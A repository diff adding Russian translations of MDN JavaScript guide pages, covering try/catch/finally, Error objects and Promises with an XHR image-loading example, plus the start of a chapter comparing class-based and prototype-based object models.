+<h3 id="Инструкция_try...catch">Инструкция try...catch</h3>
+
+<p>Инструкция <code>try...catch</code> состоит из блока <code>try</code>, который содержит одну или несколько инструкций, и блок <code>catch</code>, которые содержит инструкции, определяющие порядок действий при выбросе исключения в блоке <code>try</code>. Иными словами, если в блоке <code>try</code> будет выброшено исключение, то управление будет передано в блок <code>catch</code>. Если в блоке <code>try</code> не возникнет исключений, то блок <code>catch</code> будет пропущен. Блок <code>finally</code> будет выполнен после окончания работы блоков <code>try</code> и <code>catch</code>, вне зависимости от того, было ли выброшено исключение.</p>
+
+<p>В следующем примере вызывается функция <code>getMonthName</code>, которая возвращает название месяца по его номеру. Если месяца с указанным номером не существует, то функция выбросит исключение <code>"InvalidMonthNo"</code>, которое будет перехвачено в блоке <code>catch</code>:</p>
+
+<pre class="brush: js notranslate">function getMonthName(mo) {
+  mo = mo - 1; // Adjust month number for array index (1 = Jan, 12 = Dec)
+  var months = ["Jan","Feb","Mar","Apr","May","Jun","Jul",
+                "Aug","Sep","Oct","Nov","Dec"];
+  if (months[mo]) {
+    return months[mo];
+  } else {
+    throw "InvalidMonthNo"; //throw keyword is used here
+  }
+}
+
+try { // statements to try
+  monthName = getMonthName(myMonth); // function could throw exception
+}
+catch (e) {
+  monthName = "unknown";
+  logMyErrors(e); // pass exception object to error handler -&gt; your own
+}
+
+</pre>
+
+<h4 id="The_catch_Block" name="The_catch_Block">Блок <code>catch</code></h4>
+
+<p>Используйте блок <code>catch</code>, чтобы обработать исключения, сгенерированные в блоке <code>try</code>.</p>
+
+<pre style="font-size: 14px; white-space: normal;">catch (catchID) { statements }</pre>
+
+<p>JavaScript создает идентификатор <code>catchID</code>, которому присваивается перехваченное исключение, при входе в блок <code>catch</code>; данный идентификатор доступен только в пределах блока <code>catch</code> и уничтожается при выходе из него.</p>
+
+<p>В следующем примере выбрасывается исключение, которое перехватывается в блоке <code>catch</code>:</p>
+
+<pre class="brush: js  language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">try</span> <span class="punctuation token" style="color: #999999;">{</span>
+  <span class="keyword token" style="color: #0077aa;">throw</span> <span class="string token" style="color: #669900;">"myException"</span><span class="comment token" style="color: #708090;">
+</span><span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token"> </span><span class="keyword token" style="color: #0077aa;">catch</span> <span class="punctuation token" style="color: #999999;">(</span><span class="class-name token">e</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{
+  </span></code><code class="language-js" style="direction: ltr; white-space: pre;">console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">error<span class="punctuation token" style="color: #999999;">(</span></span>e<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">
+</span><span class="punctuation token" style="color: #999999;">}</span></code></pre>
+
+<h4 id="Блок_finally">Блок <code>finally</code></h4>
+
+<p>Блок <code>finally</code> содержит код, который будет выполнен после окончания работы блоков <code>try</code> и <code>catch</code>, но до того, как будет выполнен код, который следует за инструкцией <code>try...catch</code>. Блок <code>finally</code> выполняется вне зависимости от того, было ли выброшено исключение. Блок <code>finally</code> выполняется даже в том случае, если исключение не перехватывается в блоке <code>catch</code>.</p>
+
+<p>В следующем примере открывается файл, затем в блоке <code>try</code> происходит вызов функции <code>writeMyFile</code>, который может выбросить исключение. Если возникает исключение, то оно обрабатывается в блоке <code>catch</code>. В любом случае файл будет закрыт функцией <code>closeMyFile</code>, вызов которой находится в блоке <code>finally</code>.</p>
+
+<pre class="brush: js  language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="function token" style="color: #dd4a68;">openMyFile<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+<span class="keyword token" style="color: #0077aa;">try</span> <span class="punctuation token" style="color: #999999;">{</span>
+  <span class="function token" style="color: #dd4a68;">writeMyFile<span class="punctuation token" style="color: #999999;">(</span></span>theData<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;">
+</span><span class="punctuation token" style="color: #999999;">}</span> <span class="keyword token" style="color: #0077aa;">catch</span><span class="punctuation token" style="color: #999999;">(</span>e<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+  <span class="function token" style="color: #dd4a68;">handleError<span class="punctuation token" style="color: #999999;">(</span></span>e<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;">
+</span><span class="punctuation token" style="color: #999999;">}</span> <span class="keyword token" style="color: #0077aa;">finally</span> <span class="punctuation token" style="color: #999999;">{</span>
+  <span class="function token" style="color: #dd4a68;">closeMyFile<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;">
+</span><span class="punctuation token" style="color: #999999;">}</span></code></pre>
+
+<p>Если блок <code>finally</code> возвращает значение, то данное значение становится возвращаемым значением всей связки <code>try-catch-finally</code>. Значения, возвращаемые блоками <code>try</code> и <code>catch</code>, будут проигнорированы.</p>
+
+<pre class="brush: js  language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">f<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+  <span class="keyword token" style="color: #0077aa;">try</span> <span class="punctuation token" style="color: #999999;">{</span>
+    console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span><span class="number token" style="color: #990055;">0</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+    <span class="keyword token" style="color: #0077aa;">throw</span> <span class="string token" style="color: #669900;">"bogus"</span><span class="punctuation token" style="color: #999999;">;</span>
+  <span class="punctuation token" style="color: #999999;">}</span> <span class="keyword token" style="color: #0077aa;">catch</span><span class="punctuation token" style="color: #999999;">(</span>e<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+    console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span><span class="number token" style="color: #990055;">1</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+    <span class="keyword token" style="color: #0077aa;">return</span> <span class="keyword token" style="color: #0077aa;">true</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;">    // приостанавливается до завершения блока `finally`</span><span class="comment token" style="color: #708090;">
+</span>    console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span><span class="number token" style="color: #990055;">2</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // не выполняется
+</span>  <span class="punctuation token" style="color: #999999;">}</span> <span class="keyword token" style="color: #0077aa;">finally</span> <span class="punctuation token" style="color: #999999;">{</span>
+    console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span><span class="number token" style="color: #990055;">3</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+    <span class="keyword token" style="color: #0077aa;">return</span> <span class="keyword token" style="color: #0077aa;">false</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;">   // заменяет предыдущий `return`
+</span>    console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span><span class="number token" style="color: #990055;">4</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // не выполняется
+</span>  <span class="punctuation token" style="color: #999999;">}</span>
+ <span class="comment token" style="color: #708090;"> // `return false` выполняется сейчас
+</span>  console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span><span class="number token" style="color: #990055;">5</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;">  // не выполняется
+</span><span class="punctuation token" style="color: #999999;">}</span>
+<span class="function token" style="color: #dd4a68;">f<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;">               // отображает 0, 1, 3 и возвращает `false`</span></code></pre>
+
+<p>Замена возвращаемых значений блоком <code>finally</code> распространяется в том числе и на исключения, которые выбрасываются или перевыбрасываются в блоке <code>catch</code>:</p>
+
+<pre class="brush: js  language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">f<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+  <span class="keyword token" style="color: #0077aa;">try</span> <span class="punctuation token" style="color: #999999;">{</span>
+    <span class="keyword token" style="color: #0077aa;">throw</span> <span class="string token" style="color: #669900;">"bogus"</span><span class="punctuation token" style="color: #999999;">;</span>
+  <span class="punctuation token" style="color: #999999;">}</span> <span class="keyword token" style="color: #0077aa;">catch</span><span class="punctuation token" style="color: #999999;">(</span>e<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+    console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">'caught inner "bogus"'</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+    <span class="keyword token" style="color: #0077aa;">throw</span> e<span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;">      // приостанавливается до завершения блока `finally`</span><span class="comment token" style="color: #708090;">
+</span>  <span class="punctuation token" style="color: #999999;">}</span> <span class="keyword token" style="color: #0077aa;">finally</span> <span class="punctuation token" style="color: #999999;">{</span>
+    <span class="keyword token" style="color: #0077aa;">return</span> <span class="keyword token" style="color: #0077aa;">false</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // заменяет предыдущий `throw`
+</span>  <span class="punctuation token" style="color: #999999;">}</span>
+ <span class="comment token" style="color: #708090;"> // `return false` выполняется сейчас
+</span><span class="punctuation token" style="color: #999999;">}</span>
+
+<span class="keyword token" style="color: #0077aa;">try</span> <span class="punctuation token" style="color: #999999;">{</span>
+  <span class="function token" style="color: #dd4a68;">f<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+<span class="punctuation token" style="color: #999999;">}</span> <span class="keyword token" style="color: #0077aa;">catch</span><span class="punctuation token" style="color: #999999;">(</span>e<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+ <span class="comment token" style="color: #708090;"> // Не выполняется, т.к. `throw` в `catch `заменяется на `return` в `finally`</span><span class="comment token" style="color: #708090;">
+</span>  console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">'caught outer "bogus"'</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+<span class="punctuation token" style="color: #999999;">}</span>
+<span class="comment token" style="color: #708090;">
+// В результате отображается сообщение </span><span class="comment token" style="color: #708090;">caught inner "bogus"
+// и возвращается значение `false`</span></code></pre>
+
+<h4 id="Nesting_try...catch_Statements" name="Nesting_try...catch_Statements">Вложенные инструкции <code>try...catch</code></h4>
+
+<p>Вы можете вкладывать инструкции <code>try...catch</code> друг в друга. Если внутренняя инструкция <code>try...catch</code> не имеет блока <code>catch</code>, то она должна иметь блок finally, кроме того исключение будет перехвачено во внешнем блоке <code>catch</code>. Для получения большей информации ознакомьтесь с вложенными <a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch#Nested_try-blocks">try-блоками</a>.</p>
+
+<h3 id="Использование_объекта_Error">Использование объекта Error</h3>
+
+<p>В зависимости от типа ошибки вы можете использовать свойства <code>name</code> и <code>message</code>, чтобы получить более подробную информацию. Свойство <code>name</code> содержит название ошибки (например, <code>DOMException</code> или <code>Error</code>), свойство <code>message</code> — описание ошибки.</p>
+
+<p>Если вы выбрасываете собственные исключения, то чтобы получить преимущество, которое предоставляют эти свойства (например, если ваш блок <code>catch</code> не делает различий между вашими исключениями и системными), используйте конструктор <code>Error</code>. Например:</p>
+
+<pre class="brush: js  language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> doSomethingErrorProne <span class="punctuation token" style="color: #999999;">(</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+  <span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">( </span><span class="function token" style="color: #dd4a68;">ourCodeMakesAMistake<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">) </span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+    <span class="keyword token" style="color: #0077aa;">throw</span> <span class="punctuation token" style="color: #999999;">( </span><span class="keyword token" style="color: #0077aa;">new</span> <span class="class-name token">Error</span><span class="punctuation token" style="color: #999999;">(</span><span class="string token" style="color: #669900;">'The message'</span><span class="punctuation token" style="color: #999999;">) </span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+  <span class="punctuation token" style="color: #999999;">}</span> <span class="keyword token" style="color: #0077aa;">else</span> <span class="punctuation token" style="color: #999999;">{</span>
+    <span class="function token" style="color: #dd4a68;">doSomethingToGetAJavascriptError<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+  <span class="punctuation token" style="color: #999999;">}</span>
+<span class="punctuation token" style="color: #999999;">}
+</span>
+<span class="keyword token" style="color: #0077aa;">try</span> <span class="punctuation token" style="color: #999999;">{</span>
+  <span class="function token" style="color: #dd4a68;">doSomethingErrorProne<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+<span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token"> </span><span class="keyword token" style="color: #0077aa;">catch</span> <span class="punctuation token" style="color: #999999;">(</span><span class="class-name token">e</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+  console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>e<span class="punctuation token" style="color: #999999;">.</span>name<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;">    // 'Error'
+</span>  console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>e<span class="punctuation token" style="color: #999999;">.</span>message<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // 'The message' или JavaScript error message
+</span><span class="punctuation token" style="color: #999999;">}</span></code></pre>
+
+<h2 id="Объект_Promise">Объект Promise</h2>
+
+<p>Начиная с ECMAScript2015, JavaScript поддерживает объект {{jsxref("Promise")}}, который используется для отложенных и асинхронных операций.</p>
+
+<p>Объект <code>Promise</code> может находиться в следующих состояниях:</p>
+
+<ul>
+ <li><em>ожидание (pending)</em>: начальное состояние, не выполнено и не отклонено.</li>
+ <li><em>выполнено (fulfilled)</em>: операция завершена успешно.</li>
+ <li><em>отклонено (rejected)</em>: операция завершена с ошибкой.</li>
+ <li><em>заданный (settled)</em>: обещание выполнено или отклонено, но не находится в состоянии ожидания.</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8633/promises.png" style="height: 297px; width: 801px;"></p>
+
+<h3 id="Загрузка_изображения_при_помощи_XHR">Загрузка изображения при помощи XHR</h3>
+
+<p>Простой пример использования объектов <code>Promise</code> и <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> для загрузки изображения доступен в репозитории MDN <a href="https://github.com/mdn/js-examples/tree/master/promises-test">promise-test</a> на GitHub. Вы также можете <a href="https://mdn.github.io/js-examples/promises-test/">посмотреть его в действии</a>. Каждый шаг прокомментирован, что позволяет вам разобраться в архитектуре <code>Promise</code> и XHR. Здесь приводится версия без комментариев:</p>
+
+<pre class="brush: js  language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">imgLoad<span class="punctuation token" style="color: #999999;">(</span></span>url<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+  <span class="keyword token" style="color: #0077aa;">return</span> <span class="keyword token" style="color: #0077aa;">new</span> <span class="class-name token">Promise</span><span class="punctuation token" style="color: #999999;">(</span><span class="keyword token" style="color: #0077aa;">function</span><span class="punctuation token" style="color: #999999;">(</span>resolve<span class="punctuation token" style="color: #999999;">,</span> reject<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+    <span class="keyword token" style="color: #0077aa;">var</span> request <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="keyword token" style="color: #0077aa;">new</span> <span class="class-name token">XMLHttpRequest</span><span class="punctuation token" style="color: #999999;">(</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+    request<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">open<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">'GET'</span><span class="punctuation token" style="color: #999999;">,</span> url<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+    request<span class="punctuation token" style="color: #999999;">.</span>responseType <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">'blob'</span><span class="punctuation token" style="color: #999999;">;</span>
+    request<span class="punctuation token" style="color: #999999;">.</span>onload <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="keyword token" style="color: #0077aa;">function</span><span class="punctuation token" style="color: #999999;">(</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+      <span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span>request<span class="punctuation token" style="color: #999999;">.</span>status <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">===</span> <span class="number token" style="color: #990055;">200</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+        <span class="function token" style="color: #dd4a68;">resolve<span class="punctuation token" style="color: #999999;">(</span></span>request<span class="punctuation token" style="color: #999999;">.</span>response<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+      <span class="punctuation token" style="color: #999999;">}</span> <span class="keyword token" style="color: #0077aa;">else</span> <span class="punctuation token" style="color: #999999;">{</span>
+        <span class="function token" style="color: #dd4a68;">reject<span class="punctuation token" style="color: #999999;">(</span></span><span class="function token" style="color: #dd4a68;">Error<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">'Image didn\'t load successfully; error code:'</span>
+                     <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> request<span class="punctuation token" style="color: #999999;">.</span>statusText<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+      <span class="punctuation token" style="color: #999999;">}</span>
+    <span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token" style="color: #999999;">;</span>
+    request<span class="punctuation token" style="color: #999999;">.</span>onerror <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="keyword token" style="color: #0077aa;">function</span><span class="punctuation token" style="color: #999999;">(</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+      <span class="function token" style="color: #dd4a68;">reject<span class="punctuation token" style="color: #999999;">(</span></span><span class="function token" style="color: #dd4a68;">Error<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">'There was a network error.'</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+    <span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token" style="color: #999999;">;</span>
+    request<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">send<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+  <span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+<span class="punctuation token" style="color: #999999;">}</span></code></pre>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Grammar_and_types", "Web/JavaScript/Guide/Loops_and_iteration")}}</p>
diff --git a/files/ru/web/javascript/guide/details_of_the_object_model/index.html b/files/ru/web/javascript/guide/details_of_the_object_model/index.html
new file mode 100644
index 0000000000..a5fda463eb
--- /dev/null
+++ b/files/ru/web/javascript/guide/details_of_the_object_model/index.html
@@ -0,0 +1,723 @@
+---
+title: Подробнее об объектной модели
+slug: Web/JavaScript/Guide/Details_of_the_Object_Model
+translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model
+---
+<p>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Working_with_Objects", "Web/JavaScript/Guide/Ispolzovanie_promisov")}}</p>
+
+<p class="summary">JavaScript — это объектно-ориентированный язык, основанный на прототипировании, а не на классах. Из-за этого, менее очевидно то, каким образом JavaScript позволяет создавать иерархии объектов и обеспечивает наследование свойств и их значений. Эта глава является скромной попыткой прояснить ситуацию.</p>
+
+<p>Эта глава предполагает что читатель знаком с основами JavaScript, и имеет опыт использования функций для создания простейших объектов.</p>
+
+<h2 id="Языки_основанные_на_классах_против_Прототипно-ориентированных_языков">Языки, основанные на классах против Прототипно-ориентированных языков</h2>
+
+<p>Основанные на классах объектно-ориентированные языки программирования, такие как Java и C++, строятся на концепции двух отдельных сущностей: класс и экземпляр.</p>
+
+<ul>
+ <li><em>Класс</em> определяет все свойства (учитывая методы и все поля в  Java, или свойства в C++), которые характеризуют группу объектов. Класс это абстрактная вещь, а не какой-либо конкретный член множества объектов, которые он описывает. Например, класс <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code> может описывать множество всех сотрудников.</li>
+ <li><em>Экземпляр</em>, это воплощение класса в виде конкретного объекта. Например, <font face="Consolas, Liberation Mono, Courier, monospace"><code>Victoria</code> </font>может быть экземпляром класса <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code>, представляющий собой конкретного сотрудника. Экземпляр класса имеет ровно столько свойств, сколько и родительский класс (не больше и не меньше).</li>
+</ul>
+
+<p>Прототипно-ориентированный язык, например JavaScript, не реализует данное различие: он имеет только объекты. Языки, основанные на прототипах, имеют понятие <em>прототипа объекта — </em>это<em> </em>объект, используемый в качестве шаблона, с целью получить изначальные свойства для нового объекта. Любой объект может иметь собственные свойства, присвоенные либо во время создания, либо во время выполнения. В дополнение, любой объект может быть указан в качестве <em>прототипа </em>для другого объекта, это позволит второму объекту использовать свойства первого.</p>
+
+<h3 id="Определение_класса">Определение класса</h3>
+
+<p>В классо-ориентированных языках, вы можете <em>определить класс</em>. В этом определении вы можете указать специальные методы, называемые <em>конструкторами</em>, которые позволят создать экземпляр класса. Метод конструктор может задать начальные значения для свойств экземпляра и выполнять другие действия, в момент создания. Вы можете использовать оператор  <code>new</code>, совместно с методом конструктора, для создания экземпляров классов.</p>
+
+<p>JavaScript использует похожую модель, но не имеет определения класса отдельно от конструктора. Вместо этого, вы определяете функцию-конструктор для создания объектов с начальным набором свойств и значений. Любая функция в JavaScript может быть использована, как конструктор. Вы должны использовать оператор <code>new</code> для создания нового объекта.</p>
+
+<h3 id="Подклассы_и_наследование">Подклассы и наследование</h3>
+
+<p>В языках, основанных на классах, вы создаете иерархию классов через объявление классов. В объявлении класса вы можете указать, что новый класс является <em>подклассом</em> уже существующего класса. При этом, подкласс унаследует все свойства суперкласса и в дополнение сможет добавить свои свойства или переопределить унаследованные. Например, предположим, что класс <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code> включает два свойства: <code>name</code> и <code>dept</code>, а класс <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code> является подклассом <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code> и добавляет свойство <code>reports</code>. В этом случае, экземпляр класса <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code> будет иметь три свойства: <code>name</code>, <code>dept</code>, и <code>reports</code>.</p>
+
+<p>JavaScript реализует наследование, позволяя связать прототипный объект с любой функцией-конструктором. Итак, вы можете создать объект точь-в-точь, как в примере <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code> — <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code>, но используя несколько иную технику. Для начала нужно определить функцию-конструктор <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code>, которая определяет свойства <code>name</code> и <code>dept</code>. Затем, определяем функцию-конструктор <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code>, в которой в свою очередь, будет явно вызываться конструктор <span style="font-family: consolas,monaco,andale mono,monospace;"><code>Employee</code> и</span> определяться новое свойство <code>reports</code>. Наконец, присваиваем новый экземпляр <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code>, в качестве <code>prototype</code> для функции-конструктора <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code>. Теперь, когда вы создадите нового <span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span>, он унаследует свойства <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">name</span></font> и <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">dept</span></font> из объекта <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code>.</p>
+
+<h3 id="Добавление_и_удаление_свойств">Добавление и удаление свойств</h3>
+
+<p>В языках, основанных на классах, вы, как правило, создаете класс во время компиляции, а затем вы создаёте экземпляры класса либо во время компиляции, либо во время выполнения. Вы не можете изменить количество или тип свойств класса после определения класса. В JavaScript, однако, вы можете добавлять или удалять свойства любого объекта. Если вы добавляете свойство к объекту, который используется в качестве прототипа для множества объектов, то все эти объекты, для которых он является прототипом, также получат это свойство.</p>
+
+<h3 id="Подытожим_различия">Подытожим различия</h3>
+
+<p>Следующая таблица дает краткий обзор некоторых из этих различий. А оставшаяся часть этой главы описывает детали использования конструкторов и прототипов JavaScript для создания иерархии объектов и сравнивает это с тем, как вы могли бы сделать это в Java.</p>
+
+<table class="fullwidth-table">
+ <caption>Сравнение языков на основе классов (Java) и на базе прототипов (JavaScript)</caption>
+ <thead>
+  <tr>
+   <th scope="col">Основанные на классах (Java)</th>
+   <th scope="col">Основанные на базе прототипов (JavaScript)</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Класс и экземпляр являются разными сущностями.</td>
+   <td>Все объекты могут наследовать свойства другого объекта.</td>
+  </tr>
+  <tr>
+   <td>Определяем класс с помощью определения класса; создаем экземпляр класса с помощью метода-конструктора.</td>
+   <td>Определение и создание объекта происходит с помощью функций-конcтрукторов.</td>
+  </tr>
+  <tr>
+   <td>Создание отдельного объекта с помощью оператора <code>new</code>.</td>
+   <td>Так же.</td>
+  </tr>
+  <tr>
+   <td>Иерархия объектов строится с помощью определения классов и их подклассов.</td>
+   <td>
+    <p>Построение иерархии объектов происходит путем присвоения объекта в качестве прототипа функции-конструктора.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Наследование свойств в цепочке классов.</td>
+   <td>Наследование свойств в цепочке прототипов.</td>
+  </tr>
+  <tr>
+   <td>Определение класса определяет <em>все</em> свойства всех экземпляров класса. Нельзя динамически добавлять свойства во время выполнения.</td>
+   <td>Функция-конструктор или прототип задает <em>начальный</em> набор свойств. Можно добавить или удалить свойства динамически к отдельным объектам или всей совокупности объектов.</td>
+  </tr>
+ </tbody>
+</table>
+
